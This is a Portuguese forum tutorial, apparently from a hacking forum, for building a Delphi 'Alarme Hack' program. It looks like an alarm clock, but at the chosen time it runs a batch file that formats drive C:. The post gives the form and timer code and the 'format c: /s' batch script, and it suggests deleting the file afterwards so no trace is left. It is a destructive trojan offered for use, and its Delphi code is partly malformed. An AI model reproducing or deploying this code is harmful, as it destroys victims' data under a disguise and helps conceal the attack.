[Tutoria] Alarme Hack

Como todos viram meu Alarme Hack é uma coisa muito simples,porém engenhosa que funciona muito bem
Ele é um despertador que executa um arquivo .bat que formata o hd na hora programada sem deixar rastros ^^

Preview de como vai ficar parecido:


Vamos la,vou fazer do jeito que fiz o meu ^^

Por ser um projeto com um numero razoavel de componentes vamos organizar em group box
Coloque 3 Group Box
Renomei-os para:

Horário do Sistema
Alarme
Alarme Hack

No Group Box Horário do sistema coloque:
1Label,1 edit e 1 timer

Renomei-e o label renomei-e para Horário Atual

No timer coloque:

Edit1.Text := TimeToStr(time) ;

Explicação:No Edit1 mostra-ra o horário do sistema

No GroupBox Alarme coloque:
1edit,1 label,1 button,1 groupbox e 1 label dentro do group box
Renomei-e o Label externo para:

Ativar Alarme as:

No Label dentro do GroupBox r

enomei-e para Desativado e mude a cor para vermelho

ou qualquer outras.
Renomei-e o button para Começar
E no event onclick coloque:

If Button1.Caption = 'Começar' then
Begin
Button3.Caption := 'Parar';
Label4.Caption := 'Ativado';
Label4.Font.Color := clGreen ;
Timer2.Enabled := true;

else
begin
Button3.Caption := 'Começar' ;
Label4.Caption := 'Desativado';
Label4.Font.Color := clRed ;
Timer2.Enabled := False;
end;
end;
end

Explicação:Quando o button for ativado irá mudar o label3(no caso o label com caption desativado) irá mudar para cor verde e ativado e quando clickado novamente muda paracomeçar e label desativado na cor vermelha.

No groupbox Alarme Hack coloque:
3CheckBox,1edit ambos na plaheta Standart e 1 timer na palheta system
Renomei-e os Check Box para:

Tocar som e Formatar
Mandar Menssagem de Onwed
Formatar HD

No label
Mandar Menssagem de Onwed coloque:

If CheckBox2.checked = True then Edit3.Enabled := True ;
If CheckBox2.checked = False then Edit3.Enabled := False ;

PS:Isso não é nada de mais é apenas um adicional no programa coloca quem quiser ^^

Declare na uses:

ShellApi

No timer coloque:

begin
If Edit1.Text = Edit2.Text Then
Begin

If CheckBox1.Checked = True Then
Begin
MCISendString(PChar('play ' + 'owned.wav'), nil, 0, 0);
begin
ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL);
end;
end;
If CheckBox2.Checked = True Then ShowMessage(Edit3.Text);
begin
ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL);
end;
If CheckBox3.Checked = True Then ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL);

End;

end;

PS:A parte em vermelha é a parte a ser editada
Explicação:Se o Check Box 1 for ativado tocara o som owned.wav(download no fim do tópico) e executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0
Se o Check box 2 for ativado ele mandará um showmessage com a messagem do edit3 e após executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0
Se o Checkbox 3 for ativado executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0
E como ja disse o local pode ser editado

Vou postar o Script de um bat que formata o HD:
Abra o bloco de notas e coloque:

@echo off
format c: /s
cls
exit

Salve no caso Aboult.bat

Pode ser usado a opção de deletefile para não deixar rastros:

DeleteFile('C:\Alarme Hack 2.0\Aboult.bat');

É isso ae no meu eu coloquei uns adicionais você também pode colocar ^^

Download:
Owned.wav